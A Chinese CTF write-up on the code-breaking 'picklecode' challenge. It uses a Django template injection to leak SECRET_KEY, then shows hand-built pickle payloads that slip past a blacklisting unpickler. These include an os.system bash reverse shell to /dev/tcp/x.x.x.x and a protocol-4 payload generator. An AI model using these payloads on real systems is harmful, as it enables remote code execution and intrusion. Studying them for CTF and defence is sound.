从picklecode中学习python反序列化
python真是so hard
题目链接: https://code-breaking.com/puzzle/8/
SSTI
@login_required
def index(request):
django_engine = engines['django']
template = django_engine.from_string('My name is ' + request.user.username)
return HttpResponse(template.render(None, request))
这里面是存在模板注入的,以前从P师傅博客学习
思路就是: 找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息
{{ request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY }}
session反序列化 + 绕过沙盒
看到settings.py文件中session的设置是PickleSerializer
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
但是反序列化是做了黑名单
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
一般我们都是利用__reduce__
函数进行构造
class Run(object):
def __reduce__(self):
return (os.system, ("id",))
print(PickleSerializer().dumps(Run()))
Result:
b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'
这里面有一个问题就是,当你变化payload去绕过沙盒的时候,会进行以下类似的编写
builtins.globals()['__builtins__'].getattr(os, "system")
但是最终反序列化后的结果却依旧还是,因为这个是最根本的执行b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'
所以这里我们必须的进行自己构写poc,这里有一个工具内置了一些exp:anapickle,但是这个是python2写的,里面最主要的是利用了__builtin__
中这四个函数globals, getattr, dict, apply
,这里面牵涉到一个问题就是apply
在Python3是废除的,它类似反射,可以调用任意的函数
认识反序列化数据
要想自己写poc,可以先看看2011 blackhat这个议题
在目前的python3代码(/lib/python3.6/pickle.py:101)中可以看到,它总共是有4个版本,并且存在兼容性.
以下面反序列化数据为例,在python2.7下,这个是(Protocol 0版本):
python代码:
__builtin__.globals()
__builtin__.eval('__import__("os").system("id")')
反序列化数据:
c__builtin__\nglobals\n(tRp100\n0c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.
从/lib/python3.6/pickle.py
文件中可以得到以下一些信息(来自referer中的文章,也增加了自己的一些)
c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
): 压入一个空tuple
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
I:压入数字型数据到堆栈
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
0: POP出栈
p<memo>\n:保存栈顶到内存,
g<memo>\n: 从内存中读取数据并push到栈顶
.:结束pickle。
当然还有更多数据,具体可以看blackhat的ppt:
回到上面的例子当中
c__builtin__\nglobals\n(tRp100\n0c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.
第一部分: c__builtin__\nglobals\n(tRp100\n0
1、c
就是调用了self.find_class(modname, name);
函数,然后寻找到了__builtin__.globals
2、(
就是做一个标记,这时候会将后面的数据作为参数
3、t
就是从前面的栈构建出一个元祖出来作为参数
4、R
这个便是把前面的__builtin__.globals
,然后以上面元祖作为参数执行
5、p100
将这个结果保存到内存中,方便后面如果要读取的话,可以使用g100
作为函数的参数
6、0
pop出栈
第二部分: c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.
第二部分很多地方与上面相似,但是不同的便是上面调用的函数是无参数的,这里eval
函数调用,首先是使用了S
来表示下面是一个string
Bypass 沙盒
方法一
通过setattr
将builtins.hex
替换为builtins.eval
,然后调用builtins.hex
即可执行代码
cbuiltins
__setattr__
(S'hex'
cbuiltins
__getattribute__
(S'eval'
tRtRcbuiltins
hex
(S'__import__("os").system("bash -c \\\\"bash -i >& /dev/tcp/x.x.x.x/12345 0<&1 2>&1\\\\"")'
tR.
方法二
通过getattr获取到builtins的eval
Protocol 3+的反序列数据认识
python后面都是对数据表达更为精准:
\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.
1、\x80\x04\x95
,80是协议的意思,04则表示为这是4版本,95则类似一个框架,下面的当面都是在这个框架中
2、\x1d\x00\x00\x00\x00\x00\x00\x00
,进行了对整个序列化数据的长度进行了表示,也就是\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.
的长度
3、\x8c\x05posix
表示为压栈一个short string,其中长度为5位
4、x94\x93
,94是表示存储栈顶到内存
5、\x94\x8c\x02id
,压入字符串参数id
6、\x94\x85\x94R
,85表示从栈顶构建1个参数为元祖,另外86、87则分别表示2个、3个参数,然后使用R
进行函数调用
构写os.system("whoami")
的poc
from struct import pack
import sys
flag = {
"h" : b"\x80\x04\x95", # protocol 4 version
"s" : b"\x8c", # push short string; UTF-8 length < 256 bytes
"x" : b"\x94", # store top of the stack in memo
"(" : b"\x93", # same as GLOBAL but using names on the stacks
")" : b"\x85", # build 1-tuple from stack top
"))" : ")", # push empty tuple
"r" : "R", # apply callable to argtuple, both on stack
"i" : "K", # push 1-byte unsigned int
"ii" : "M" # push 2-byte unsigned int
}
# b'\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
# os.system("whoami")
str_ = '''posix
system
(
whoami
)'''.split("\n")
#print str_
f = ""
# os
f += pack("<s", flag['s'])
f += pack("<b", len(str_[0]))
f += str_[0]
# .
f += pack("<ss", flag['x'], flag['s'])
# system
f += pack("<b", len(str_[1]))
f += str_[1]
f += pack("<ss", flag['x'], flag['('])
# whoami
f += pack("<ss", flag['x'], flag['s'])
f += pack("<b",len(str_[3]))
f += str_[3]
# end
f += pack("<ss", flag['x'], b"\x85")
f += pack("<ss", flag['x'], flag['r'])
f += pack("<ss", flag['x'], ".")
# begin
buf = ''
buf += pack("<3s", flag['h']) # head
buf += pack("<i4x", len(f)) # str len
buf += f
sys.stdout.write(repr(buf))